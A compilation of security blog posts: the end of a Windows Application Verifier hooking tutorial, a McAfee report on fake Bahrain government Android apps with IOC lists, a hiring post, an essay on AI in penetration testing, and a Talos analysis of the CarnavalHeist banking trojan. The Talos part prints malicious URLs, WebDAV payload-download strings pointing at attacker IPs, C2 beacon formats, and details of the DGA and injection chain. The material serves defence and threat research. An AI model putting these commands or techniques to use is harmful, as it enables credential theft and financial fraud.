	auto result = orgGetMessage(msg, hWnd, filterMin, filterMax);
	char text[128];
	sprintf_s(text, "Received message 0x%X for hWnd 0x%p\n", msg->message, msg->hwnd);
	OutputDebugStringA(text);
	return result;
}

HANDLE WINAPI HookCreateFile(PCWSTR path, DWORD access, DWORD share, LPSECURITY_ATTRIBUTES sa, DWORD cd, DWORD flags, HANDLE hTemplate) {
	// get original function
	static const auto orgCreateFile = (decltype(::CreateFileW)*)kernelbaseHooks[0].ThunkOldAddress;
	auto hFile = orgCreateFile(path, access, share, sa, cd, flags, hTemplate);
	char text[512];
	if (hFile == INVALID_HANDLE_VALUE)
		sprintf_s(text, "Failed to open file %ws (%u)\n", path, ::GetLastError());
	else
		sprintf_s(text, "Opened file %ws successfuly (0x%p)\n", path, hFile);

	OutputDebugStringA(text);
	return hFile;
}

The hooks just send some output with OutputDebugString. Here is an excerpt output when running notepad under a debugger:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0xEF18: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0xEF18: flags 0x81643027: application verifier enabled
ModLoad: 00007ffd`25b80000 00007ffd`25d24000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffd`963e0000 00007ffd`9640b000   C:\Windows\System32\GDI32.dll
ModLoad: 00007ffd`95790000 00007ffd`957b2000   C:\Windows\System32\win32u.dll
ModLoad: 00007ffd`95090000 00007ffd`951a7000   C:\Windows\System32\gdi32full.dll
...
ModLoad: 00007ffd`964f0000 00007ffd`965bd000   C:\Windows\System32\OLEAUT32.dll
ModLoad: 00007ffd`96d10000 00007ffd`96d65000   C:\Windows\System32\shlwapi.dll
ModLoad: 00007ffd`965d0000 00007ffd`966e4000   C:\Windows\System32\MSCTF.dll
Opened file C:\Windows\Fonts\staticcache.dat successfuly (0x0000000000000164)
ModLoad: 00007ffd`7eac0000 00007ffd`7eb6c000   C:\Windows\System32\TextShaping.dll
ModLoad: 00007ffc`ed750000 00007ffc`ed82e000   C:\Windows\System32\efswrt.dll
ModLoad: 00007ffd`90880000 00007ffd`909d7000   C:\Windows\SYSTEM32\wintypes.dll
ModLoad: 00007ffd`8bf90000 00007ffd`8bfad000   C:\Windows\System32\MPR.dll
ModLoad: 00007ffd`8cae0000 00007ffd`8cce3000   C:\Windows\System32\twinapi.appcore.dll
Opened file C:\Windows\Registration\R000000000025.clb successfuly (0x00000000000001C4)
ModLoad: 00007ffd`823b0000 00007ffd`82416000   C:\Windows\System32\oleacc.dll
...
Received message 0x31F for hWnd 0x00000000001F1776
Received message 0xC17C for hWnd 0x00000000001F1776
Received message 0xF for hWnd 0x00000000001F1776
Received message 0xF for hWnd 0x00000000003010C0
Received message 0xF for hWnd 0x0000000000182E7A
Received message 0x113 for hWnd 0x00000000003319A8
...
ModLoad: 00007ffd`80e20000 00007ffd`80fd4000   C:\Windows\System32\WindowsCodecs.dll
ModLoad: 00007ffd`94ee0000 00007ffd`94f04000   C:\Windows\System32\profapi.dll
Opened file C:\Users\Pavel\AppData\Local\IconCache.db successfuly (0x0000000000000724)
ModLoad: 00007ffd`3e190000 00007ffd`3e1f6000   C:\Windows\System32\thumbcache.dll
Opened file C:\Users\Pavel\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db successfuly (0x0000000000000450)
Opened file C:\Users\Pavel\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db successfuly (0x000000000000065C)
ModLoad: 00007ffd`90280000 00007ffd`90321000   C:\Windows\SYSTEM32\policymanager.dll

This application verifier technique is an interesting one, and fairly easy to use. The full example can be found at https://github.com/zodiacon/VerifierDLL.

Happy verifying!

Fake Bahrain Government Android App Steals Personal Data Used for Financial Fraud

31 May 2024 at 21:43

Authored by Dexter Shin

Many government agencies provide their services online for the convenience of their citizens. Also, if this service could be provided through a mobile app, it would be very convenient and accessible. But what happens when malware pretends to be these services?

McAfee Mobile Research Team found an InfoStealer Android malware pretending to be a government agency service in Bahrain. This malware pretends to be the official app of Bahrain and advertises that users can renew or apply for driver’s licenses, visas, and ID cards on mobile. Users who are deceived by advertisements that they are available on mobile will be provided with the necessary personal information for these services without a doubt. They reach users in various ways, including Facebook and SMS messages. Users who are not familiar with these attacks easily make the mistake of sending personal information.

Detailed pretended app

In Bahrain, there’s a government agency called the Labour Market Regulatory Authority (LMRA). This agency operates with full financial and administrative independence under the guidance of a board of directors chaired by the Minister of Labour. They provide a variety of mobile services, and most apps provide only one service per app. However, this fake app promotes providing more than one service.

Figure 1. Legitimate official LMRA website

Figure 2. Fake app named LMRA

Excluding the most frequently found fake apps pretending LMRA, there are various fake apps included Bank of Bahrain and Kuwait (BBK), BenefitPay, a fintech company in Bahrain, and even apps pretending to be related to Bitcoin or loans. These apps use the same techniques as the LMRA fake apps to steal personal information.

Figure 3. Various fake apps using the same techniques

From the type of app that this malware pretends, we can guess that the purpose is financial fraud to use the personal information it has stolen. Moreover, someone has been affected by this campaign as shown in the picture below.

Figure 4. Victims of financial fraud (Source: Reddit)

Distribution method

They distribute these apps using Facebook pages and SMS messages. Facebook pages are fake and malware author is constantly creating new pages. These pages direct users to phishing sites, either WordPress blog sites or custom sites designed to download apps.

Figure 5. Facebook profile and page with a link to the phishing site

Figure 6. One of the phishing sites designed to download app

In the case of SMS, social engineering messages are sent to trick users into clicking a link so that they feel the need to urgently confirm.

Figure 7. Phishing message using SMS (Source: Reddit)

What they want

When the user launches the app, the app shows a large legitimate icon for users to be mistaken. And it asks for the CPR and phone number. The CPR number is an exclusive 9-digit identifier given to each resident in Bahrain. There is a “Verify” button, but it is simply a button to send information to the C2 server. If users input their information, it goes directly to the next screen without verification. This step just stores the information for the next step.

Figure 8. The first screen (left) and next screen of a fake app (right)

There are various menus, but they are all linked to the same URL. The parameter value is the CPR and phone numbers input by the user on the first screen.

Figure 9. All menus are linked to the same URL

The last page asks for the user’s full name, email, and date of birth. After inputting everything and clicking the “Send” button, all information inputted so far will be sent to the malware author’s c2 server.

Figure 10. All data sent to C2 server

After sending, it shows a completion page to trick the user. It shows a message saying you will receive an email within 24 hours. But it is just a counter that decreases automatically. So, it does nothing after 24 hours. In other words, while users are waiting for the confirmation email for 24 hours, cybercriminals will exploit the stolen information to steal victims’ financial assets.

Figure 11. Completion page to trick users

In addition, they have a payload for stealing SMS. This app has a receiver that works when SMS is received. So as soon as SMS comes, it sends an SMS message to the C2 server without notifying the user.

Figure 12. Payload for stealing SMS

Dynamic loading of phishing sites via Firebase

We confirmed that there are two types of these apps. There is a type that implements a custom C2 server and receives data directly through web API, and another type is an app that uses Firebase. Firebase is a backend service platform provided by Google. Among many services, Firestore can store data as a database. This malware uses Firestore. Because it is a legitimate service provided by Google, it is difficult to detect as a malicious URL.

For apps that use Firebase, dynamically load phishing URLs stored in Firestore. Therefore, even if a phishing site is blocked, it is possible to respond quickly to maintain already installed victims by changing the URL stored in Firestore.

Figure 13. Dynamically loading phishing site loaded in webview

Conclusion

According to our detection telemetry data, there are 62 users have already used this app in Bahrain. However, since this data is a number at the time of writing, this number is expected to continue to increase, considering that new Facebook pages are still being actively created.

Recent malware tends to target specific countries or users rather than widespread attacks. These attacks may be difficult for general users to distinguish because malware accurately uses the parts needed by users living in a specific country. So we recommend users install secure software to protect their devices. Also, users are encouraged to download and use apps from official app stores like Google Play Store or Apple AppStore. If you can’t find an app in these stores, you must download the app provided on the official website.

McAfee Mobile Security already detects this threat as Android/InfoStealer. For more information, visit McAfee Mobile Security.

Indicators of Compromise (IOCs)

Samples:

SHA256 Package Name App Name
6f6d86e60814ad7c86949b7b5c212b83ab0c4da65f0a105693c48d9b5798136c com.ariashirazi.instabrowser LMRA
5574c98c9df202ec7799c3feb87c374310fa49a99838e68eb43f5c08ca08392d com.npra.bahrain.five LMRA Bahrain
b7424354c356561811e6af9d8f4f4e5b0bf6dfe8ad9d57f4c4e13b6c4eaccafb com.npra.bahrain.five LMRA Bahrain
f9bdeca0e2057b0e334c849ff918bdbe49abd1056a285fed1239c9948040496a com.lmra.nine.lmranine LMRA
bf22b5dfc369758b655dda8ae5d642c205bb192bbcc3a03ce654e6977e6df730 com.stich.inches Visa Update
8c8ffc01e6466a3e02a4842053aa872119adf8d48fd9acd686213e158a8377ba com.ariashirazi.instabrowser EasyLoan
164fafa8a48575973eee3a33ee9434ea07bd48e18aa360a979cc7fb16a0da819 com.ariashirazi.instabrowser BTC Flasher
94959b8c811fdcfae7c40778811a2fcc4c84fbdb8cde483abd1af9431fc84b44 com.ariashirazi.instabrowser BenefitPay
d4d0b7660e90be081979bfbc27bbf70d182ff1accd829300255cae0cb10fe546 com.lymors.lulumoney BBK Loan App

Domains:

  • https[://]lmraa.com
  • https[://]lmjbfv.site
  • https[://]dbjiud.site
  • https[://]a.jobshuntt.com
  • https[://]shop.wecarerelief.ca

Firebase(for C2):

  • https[://]npra-5.firebaseio.com
  • https[://]lmra9-38b17.firebaseio.com
  • https[://]practice-8e048.firebaseio.com

The post Fake Bahrain Government Android App Steals Personal Data Used for Financial Fraud appeared first on McAfee Blog.

Hacking the Future: 12 Years at Exodus and the Next Big Leap

31 May 2024 at 14:18

Hacking the Future: 12 Years at Exodus and the Next Big Leap

Tl;dr – We are hiring engineers, analysts, and researchers.

This May marked our 12th year of producing world-class vulnerability intelligence at Exodus Intelligence. We have had many ups (and downs) and have worked with a variety of talented people over the years whose collective contributions have made us who we are today. Throughout our history we have stayed true to our founding mission of maintaining a hacking culture, made by hackers, for hackers. We challenge and pride ourselves on researching some of the hardest targets, across a diversity of platforms and operating systems. As a team we have analyzed (I’m’, talking weeks long, thorough, root cause analysis) more than 1,600 Nday, and discovered over 400 0day in enterprise products. Whether software, hardware, server side, client side, IoT… our experts have done it all.

It has been a bit of a waiting game for the industry to build an appreciation for vulnerability intelligence, let alone Zeroday vulnerability intelligence. I would argue that the industry is finally there, and with the help of a lot of the big companies, there are products that can effectively detect and defend against this category of risks.

There is still a degree of “wild west” in the industry where it is hard to design and maintain standards for reporting, tracking and cataloging vulnerabilities (CVE, CVSS, CNAs, CPEs, SBOM,…). At Exodus we have always focused on the core research as our wheelhouse and put less effort on the website, front end, and engineering work that drives how people view, search and ingest our data. The market demands it now.

We are at an inflection point and aim to make our data more widely available and develop what tools we can to aggregate, enrich and curate all the public data, marry it with our own discoveries and analysis, and distribute to our customers. We have developed integrations for Splunk, Demisto (Cortex XSOAR), Slack, Recorded Future, to name a few examples, but the engineering lift is large, and the research support is insurmountable. Even as we jump on the GenAI band wagon with everyone else and invest in LLM, ML and AI, that technology is only as good as its input/data, so our researchers will need to spend the requisite time and effort training these models.

Now to the point of this post, we are hiring. We are looking for engineers with a special motivation to understand these challenges and have a passion to build solutions that chip away at the problems. We intend to make some of this tooling, code, and data available to the public, so the engineers we bring onboard should have an appreciation for open source code. While we’re always looking for elite researchers to join the team, these engineering efforts will soon unlock the need for an army of analysts that are interested in coverage of public data an inch deep, and a mile wide. We will have the incentives and mentorship in place to refine and develop skills towards hacking  more difficult targets and research, but for the first time we will be opening our doors to entry level analysts with the motivation to learn and gain unparalleled experience in the world of vulnerability research.

Current openings include:

  • Full-Stack Software Engineer
  • Web Browser Vulnerability Researcher
  • Mobile Vulnerability Researcher
  • Zero-Day Vulnerability Researcher
  • N-Day Vulnerability Researcher

Please apply at our careers page

The post Hacking the Future: 12 Years at Exodus and the Next Big Leap appeared first on Exodus Intelligence.

Why AI Will Not Fully Replace Humans for Web Penetration Testing

31 May 2024 at 14:14

Written by: Steven van der Baan

In the ever-evolving landscape of cybersecurity, the integration of artificial intelligence (AI) has revolutionized various aspects of threat detection, prevention, and mitigation. Web penetration testing, a crucial component of ensuring the security posture of digital assets, has seen significant advancements through AI-powered tools. While AI undoubtedly offers numerous benefits in this domain, it’s essential to recognize that it cannot entirely replace human expertise and intuition. In this article, we explore the reasons why AI will not fully replace humans for web penetration testing.

AI excels in handling immense data volumes while recognizing patterns. However, it typically lacks the contextual understanding that human testers possess. Web applications function within specific business contexts, and vulnerabilities may manifest differently based on various factors such as industry, user behaviour, and regulatory requirements. Human testers can interpret these nuances and prioritize findings based on their potential impact on the organization’s objectives.

One of the fundamental challenges in cybersecurity is staying ahead of adversaries who continually innovate and devise new attack techniques. Although AI algorithms can detect known vulnerabilities efficiently, they may struggle to adapt to novel attack vectors or zero-day exploits. Human penetration testers bring creativity to the table, utilizing their experience and intuition to think like attackers and uncover unexpected vulnerabilities that automated tools might miss.

Certain categories of vulnerabilities, such as logical flaws or business logic errors, often require human intervention to identify accurately. These vulnerabilities may not be easily detectable through automated scanning alone, as they involve understanding the underlying logic of the application and its intended functionality. Human testers can replicate real-world scenarios and apply sophisticated techniques to uncover subtle security weaknesses that AI might overlook.

AI-powered tools for web penetration testing are prone to generating false positives (incorrectly identifying vulnerabilities that do not exist) and false negatives (overlooking actual vulnerabilities). Although advancements in machine learning have improved accuracy, eliminating both false positives and false negatives remains a significant challenge. Human testers play an essential role in validating automated findings, minimizing false alarms, and providing valuable insights into the context of each vulnerability.

The ethical and legal implications of automated penetration testing must be carefully considered. AI-powered tools may generate substantial volumes of traffic and potentially disrupt web applications, leading to unintended consequences or violations of terms of service. Furthermore, utilizing automated tools without proper authorization can result in legal repercussions. Human testers exercise judgment, ensuring that tests are conducted responsibly, with appropriate permissions and adherence to ethical guidelines.

While AI has revolutionized web penetration testing by automating routine tasks, detecting known vulnerabilities, and enhancing efficiency, it cannot replace the critical thinking, intuition, and creativity of human testers. The synergy between AI and human expertise is essential for conducting comprehensive and effective security assessments. By leveraging the strengths of both AI-powered tools and human testers, organizations can achieve a more robust and adaptive approach to web application security.

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks

31 May 2024 at 12:00
  • Since February 2024, Cisco Talos has been observing an active campaign targeting Brazilian users with a new banking trojan called “CarnavalHeist.” Many of the observed tactics, techniques and procedures (TTPs) are common among other banking trojans coming out of Brazil. This family has also been referenced as AllaSenha in a recent report. 
  • Talos attributes with high confidence the development and operation of CarnavalHeist to Brazilian actors who could be identified because of some operational mistakes made during the domain registration process for their payload-hosting sites. 
  • The current campaign uses financial-related themes in spam emails, Delphi-based DLLs, overlay attack methods, and usual input capture techniques, such as keylogging and screen capture. There are also names of traditional Brazilian banks hardcoded in the malware.  
  • Unique to CarnavalHeist, however, is the dynamic use of a Python-based loader as part of the DLL injection process and the specific targeting of banking desktop applications to enable tracking of other Brazilian financial institutions. 

CarnavalHeist has Brazilian origins 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks

Talos assesses with high confidence that the CarnavalHeist malware is of Brazilian origin and primarily targets Brazilian users based on our observations of the Portuguese language being used throughout all aspects of the infection chain and the malware itself, including the use of Brazilian slang to describe some bank names, and a notable lack of other language variants thus far. The command and control (C2) infrastructure exclusively uses the BrazilSouth availability zone on Microsoft Azure to control infected machines, and they specifically target prominent Brazilian financial institutions.  

We further assess that the current wave of activity has been ongoing since the beginning of February based on the volume and timeline of observable C2 domain activity, although we have observed related samples and variants that were uploaded to VirusTotal in November and December 2023, indicating that the malware has been in development since at least late 2023. As of May 2024, CarnavalHeist is still active, and our analysis remains ongoing as we continue to identify new samples. 

Financial-themed spam as initial execution method 

CarnavalHeist infection begins with a financially themed unsolicited email using a fake invoice as a lure to get the user to open a malicious URL. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
An example unsolicited email distributing CarnavalHeist.

The malicious link uses the IS.GD URL shortener service to redirect users to the first-stage payload. The URL usually looks similar to some of these examples: 

  • https://is[.]gd/38qeon?0177551.5510 
  • https://is[.]gd/ROnj3W?0808482.5176 
  • https://is[.]gd/a4dpQP?000324780473.85375532000 

This URL redirects the user to the server hosting the fake web page where the users are supposed to download their invoice. We have observed different domains being used in this step, but all contain references to “Nota Fiscal Eletrônica,” the Portuguese term for invoice. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Content of website where user is redirected to download the malware

Some of the domains we observed being used to host these pages are: 

  • https://notafiscaleletronica[.]nf-e[.]pro/danfe/?notafiscal=00510242.500611 
  • https://nota-fiscal[.]nfe-digital[.]top/nota-estadual/?notafiscal=00792011.977347 
  • https://nfe-visualizer[.]app[.]br/notas/?notafiscal=000851113082.35493424000 

The download target is the final link in this step, and it uses WebDAV to download the next-stage payload: 

  • search:query=NotaFiscal.pdf&crumb=location:\\4[.]203[.]105[.]118@80\Documentos&displayname=Downloads 
  • search:query=NotaFiscal.pdf&crumb=location:\\191[.]233[.]248[.]170@80\Documentos&displayname=Downloads 

This command ends up downloading a LNK file, which then executes the next stage of the infection. The LNK file’s metadata illustrates a common method threat actors use to execute malicious scripts and commands. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
LNK metadata used in the CarnavalHeist campaign.

The command above attempts to hide the malicious execution from the unsuspecting user. First, the text “Visualizacao indisponivel” (Portuguese for “view unavailable”) is written to a file, “NotaFiscal.pdf,” to the user’s Downloads directory. The PDF is then opened for viewing, meant to fool the user into thinking an actual PDF was downloaded, while another cmd.exe process is started minimized, and the malicious component is run.  

We have also observed multiple MSI installer-based variants, whereby the MSI file replaces the role of the LNK file and subsequent batch file, picking up in the execution chain with a variant of the first-stage Python script. In many of the earlier variants, the actor’s Python scripts were less refined and used lower-level C-types and a more obvious invocation of “windll.kernel32” directly in the Python script to dynamically load downstream malicious DLLs, rather than through the more obfuscated tool offered through the “pythonmemorymodule” package seen in the execution chain of the newer samples.  

Identifying the actors behind CarnavalHeist 

Our analysis of the different samples for CarnavalHeist have exposed the user account used on the system where some of the samples were compiled, in addition to a GitHub account referenced in the MSI variants that appears to have been hosting the loader and banking trojan payloads at one point.  

In examining the final payload, an assert statement within the code was flagged by the compiler and project metadata was exposed as a result. The assert we observed exposed the directory path “C:\Users\bert1m\Desktop\Meu Drive”, with “bert1m” being the active username during the payload’s compilation. The MSI variant also refers to a GitHub account “marianaxx0492494,” which was being used as a remote host for the files: 

  • github[.]com/marianaxx0492494/update/raw/main/setup.msi 
  • github[.]com/marianaxx0492494/update/raw/main/Execute_dll.zip 

These were presumably a copy of the MSI variant itself as well a version of the loader DLL. However, at the time of our investigation, this user account had already been removed from GitHub, and we could not find verified samples of the files at those URLs. 

While this evidence by itself is not enough to identify specific actors, we found additional evidence of the actors’ identity behind the development and operation of this malware campaign. While examining the WHOIS information for one of the domains hosting the initial infection, we noticed it exposed the full name and email address of the person registering the domain.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Whois information for domain nfe-visualizer[.]app[.]br used to distribute CarnavalHeist.

We can see the username in their email is similar to the username used in the project path we have observed inside the binary. Another important piece of information in this registry is the `ownerid`, which contains the CPF (“Cadastro de Pessoa Física” or “Natural Person Registry”) of the person. The CPF works as a national ID in Brazil.  

By searching for this person name, we found a reference to a company where they were a partner, which lists part of their CPF above: 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Business association information for a company in Brazil showing part of the threat actor CPF.

We also found previous companies they owned in the Brazilian state of Maranhão: 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Company owned by the threat actor associated with CarnavalHeist.

Another domain used to host the initial payload is also registered in Brazil and again exposes information about the owner. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Whois information for a second threat actor associated with CarnavalHeist.

For this person it was easier to find more information based on their CPF, as they have criminal records, according to the Brazilian judiciary service

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Criminal records for threat actor associated with CarnavalHeist.

Based on this information, Talos assess with high confidence these two actors are behind the development and operation of the campaign distributing CarnavalHeist affecting Brazilian victims. 

Analysis of batch file “a3.cmd” and Python loader 

The file “a3.cmd” is a Windows batch file with a several layers of simple encoding and obfuscation that serves as a wrapper for installing Python on the target environment and subsequently executing a Python script that handles injecting the second-stage payload DLL.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Batch file used in the first stage of infection.

This first layer is decoded to another shell script which downloads a Python interpreter from the official Python FTP server and installs to a malware-created folder. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
PowerShell script downloading and installing Python and subsequently running the malicious loader.

After using the downloaded Python interpreter, the batch file executes an embedded base64-encoded Python script. Decoding the base64 string embedded in the Python command reveals the final component of the cascading commands to be a loader for injecting a malicious DLL.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Python script used to download and inject the malicious banking DLL.

The script checks the processor architecture from the registry key `HARDWARE\DESCRIPTION\System\CentralProcessor\0` and bails out if the processor name value is “Broadwell.” It then uses the function `lk()` as a domain generation algorithm (DGA) to generate a fully qualified domain (FQDN) under the BrazilSouth region in Azure, which will be used to download the malicious DLL from. We explain the process by which this domain is generated in a section below. 

Once the correct FQDN has been generated, a TCP connection is opened. The script sends a UTF-8-encoded packet to the actor’s Azure server in the format below, where the victim’s hostname, Windows version name and processor architecture name are all passed as identifying markers: 

`pyCodeV1 - *NEW* {ss.gethostname()} | {Windows Product Name} | {Processor Architecture Name}` 

The server then sends a response back with a byte stream containing a DLL payload named “executor.dll,” a second-stage Python script that will load the DLL and additional Python modules used to load the DLL. This data object is then reserialized within the parent Python script and executed as the next stage through Python’s `exec()` command. 

Using CodePy for dynamic DLL execution 

The byte stream contains a handful of components that are passed to the `exec()` command to set up the downstream execution logic. On execution, CodePy first saves a copy of the previous Python script to the user’s public directory as “ps.txt”.

Next, the script unpacks the “executor.dll” PE file and loads the resulting bytes buffer of the DLL dynamically into memory through pythonmemorymodule’s `MemoryModule` class. Finally, the function entry point `Force` is called from `executor.dll` through the MemoryModule class function `get_proc_addr`. On execution, `Force` generates an up to 19-character randomized string using a similar character key string, as seen in the DGA function in the Python script.  

It then selects a random directory from the system’s default user profile of the typical standard Windows folders. The injector then checks if the system is running a 32- or 64-bit operating system and copies “mshta.exe” from the proper 32-bit folder to the selected user folder, renamed with a random character string and an .exe extension.  

Finally, the embedded payload, a UPX-packed banking trojan, is then extracted from a resource within executor.dll marked as “RcDLL”. It is another Delphi-based DLL, named "Access_PC_Client.dll" in many of the observed samples. The payload bytes are then written to a memory stream and injected into a spawned “mshta.exe” process.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Resource present in the malicious loader DLL.

Final payload: Banking trojan DLL 

CarnavalHeist will attempt to steal the victim’s credentials for a variety of Brazilian financial institutions. This is accomplished through overlay attack methodologies, whereby an actor presents an overlaid window on top of the expected legitimate application or service.  

Like other Brazilian banking trojans, the malware monitors window title strings for specific word and pattern matches. When a window title matches, the malware sets the window to invisible and replaces it with a bundled overlay image for the given organization. At the same time, a timer will attempt to open a new socket connection to an actor controlled C2 using another DGA function to create a separate. This DGA is distinct from the one used by the Python loader script, although this DGA also uses a server hosted on the BrazilSouth resource region on Azure.  

CarnavalHeist possesses numerous capture capabilities, commonly associated with banking trojans, which are either executed automatically once a matched bank is detected, or by receiving a command from the C2.  

The protocol is a customized version of a publicly available code for a Delphi Remote Access Client, which is the same protocol used by other banker families like Mekotio and Casbaneiro in the past. Luckily, these commands are not obfuscated and are exposed in the binary code. There is a single function processing all input from C2, and it translates to a series of IF/THEN structures for each command: 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Sequence of commands being processed from C2 communication.

The code supports approximately 80 commands from the C2, including keyboard capture, screenshots, video capture and remote control. They also enable the attacker to trigger specific overlay attacks to steal the login information for the banking institutions while the user interacts with the fake login screens.  

These commands sent from the C2 and responses from the malware are all sent unencrypted through a TCP connection on a random port. The commands and responses are usually enclosed in the tags shown in the code. One example of this is how the malware answers when the C2 responds to the initial connection attempt: 

`<|Info|>BANK_NAME<|>Windows 10 Enterprise<|>DESKTOP-XXXXXXX<|>Intel(R) Xeon(R) W-2295 CPU @ 3.00GHz<|><<|` 

There are also functions present in the binary that deal with remote control capabilities using AnyDesk remote desktop, which allows the attacker to interact with the user machine during a banking session. Some of the commands accept additional parameters like an IP/Port to be used for the video connection or the keyboard/clipboard interaction in case of remote access. 

CarnavalHeist can also capture and create QR codes on demand, which is used by many banks to allow users to log in and execute transactions. This enables the attacker to redirect transactions to accounts they control instead of the intended accounts the user intended. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Code showing the creation of QR code to overlay on victim's banking session.

Capturing mouse and keyboard events and their key translations would expose PINs and other similar tokens for these banks, while potentially being able to “pass through” the sign out to the legitimate service underneath the overlay, much like a skimmer on a credit card or ATM keypad. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Keyboard overlay used to capture banking PIN.

CarnavalHeist C2 protocol and DGA analysis 

CarnavalHeist uses different algorithms to generate the subdomains it uses to download payloads and communicate with its C2 servers. These subdomains are all hosted under the BrazilSouth availability zone in Azure at “{dga}[.]brazilsouth[.]cloudapp[.]azure[.]com”.  

The DGA that generates the correct subdomains is contained within a function named `lk()` in the Python script.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Functions implementing the DGA were used to download the banking trojan payload.

It first gets the current date and weekday values from the Python datetime module and adds their values together to generate an integer value. This value is used as an index to retrieve a character out of the hardcoded string `{abcdefghijlmnopqrstuvxzwkyjlmnopqabcghjl}`.  

Five possible subdomain string choices are then generated and hashed by the SHA1 algorithm, followed by more string manipulation until it is returned. A random entry from this list is then selected to generate the final FQDN. 

Then, a random TCP port is generated by the function `ptV5()` following a similar algorithm using the dates as a seed, and these parameters are passed to the `connect()` Python function.  

The algorithm used by the malicious DLL to generate the subdomain used for C2 communication is also based on the current date and time but adds additional seeds depending on which banks are currently being accessed by the victim, which could be either through a web browser or a custom banking desktop application used by some banks in Brazil. These seed values are single-hex bytes associated with each bank: 

  • Target bank 1: 0x55 
  • Secondary targeted banks: 0x56 
  • All other financial institutions: 0x57 

The DGA will then select a starting letter for the subdomain based on an array of non-ordered alpha characters like in the Python script. It then uses the integer representations of the current day of the week, month and year, as well as the current month and week of the year, to generate separate additional parts of the subdomain string through several arithmetic operations.  

CarnavalHeist has likely been in active development since at least November of 2023, while significant in-the-wild activity first began in February 2024. Based on the information we had about the DGA domains and activities performed by the Python script, Talos discovered samples in VirusTotal and Talos telemetry dating back to November 2023. 

Tracing the DGA domains from the Python script and the final payload in our DNS telemetry, we first observed in-the-wild activity on Feb. 20, 2024, with more consistent activity ramping up beginning on Feb. 11, 2024. Additional variants of the Python loader containing slight alterations to the DGA were observed further on in our investigation. Tracing all the potential domains from all the DGA variations, we can observe initial visible activity beginning in February with larger spikes in actor domain activity starting in late March to the present. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
DNS activity for the DGA domains used by CarnavalHeist.

We assess that the actor(s) behind CarnavalHeist are of low-to-moderate sophistication. There are some aspects of the code and malware that hint at sophistication, whether borrowed or their own, but are then short circuited or made pointless by mistakes or odd choices elsewhere. For example, the DGA algorithm for some of the Python cradles goes through the trouble of generating a list of five different potential subdomains to be used on any given day. The list of subdomains is then referenced by Python’s random choice function, but the subdomain list is sliced in a way that only the last option is ever used. This is then corrected to use all choices in another version of the Python script we observed. The actor is worth monitoring, as the ability to incorporate complexity within their malware is more concerning than the initially observed missteps, which can always be corrected in future development iterations. The number of additional variants we observed also suggests that the author of CarnavalHeist is actively developing it. 

Talos is continuing to monitor developments and analyze additional related samples and infrastructure to this actor and campaign. 

MITRE ATT&CK 

Tactic 

Technique 

Initial Access 

T1566.001: Phishing: Spearphishing Attachment 

Execution 

T1059.001: Command and Scripting Interpreter: PowerShell 

Execution 

T1059.003: Command and Scripting Interpreter: Windows Command Shell 

Execution 

T1059.006: Command and Scripting Interpreter: Python 

Persistence 

T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder 

Privilege Escalation 

T1055.001: Process Injection: Dynamic-link Library Injection 

Defense Evasion 

T1027.010: Obfuscated Files or Information: Command Obfuscation 

Defense Evasion 

T1027.012: Obfuscated Files or Information: LNK Icon Smuggling 

Defense Evasion 

T1027.009: Obfuscated Files or Information: Embedded Payloads 

Defense Evasion 

T1036.008: Masquerading: Masquerade File Type 

Credential Access 

T1056.001: Input Capture: Keylogging 

Credential Access 

T1056.002: Input Capture: GUI Input Capture 

Discovery 

T1010: Application Window Discovery 

Discovery 

T1082: System Information Discovery 

Lateral Movement 

T1570: Lateral Tool Transfer 

Collection 

T1113: Screen Capture 

Collection 

T1125: Video Capture 

Command and Control 

T1102: Web Service 

Command and Control 

T1102.002: Web Service: Bidirectional Communication 

Command and Control 

T1104: Multi-Stage Channels 

Command and Control 

T1105: Ingress Tool Transfer 

Command and Control 

T1568.002: Dynamic Resolution: Domain Generation Algorithms 

Command and Control 

T1571: Non-Standard Port 

Exfiltration 

T1020: Automated Exfiltration 

Exfiltration 

T1041: Exfiltration Over C2 Channel 

Exfiltration 

T1567: Exfiltration Over Web Service 

Coverage 

Ways our customers can detect and block this threat are listed below. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

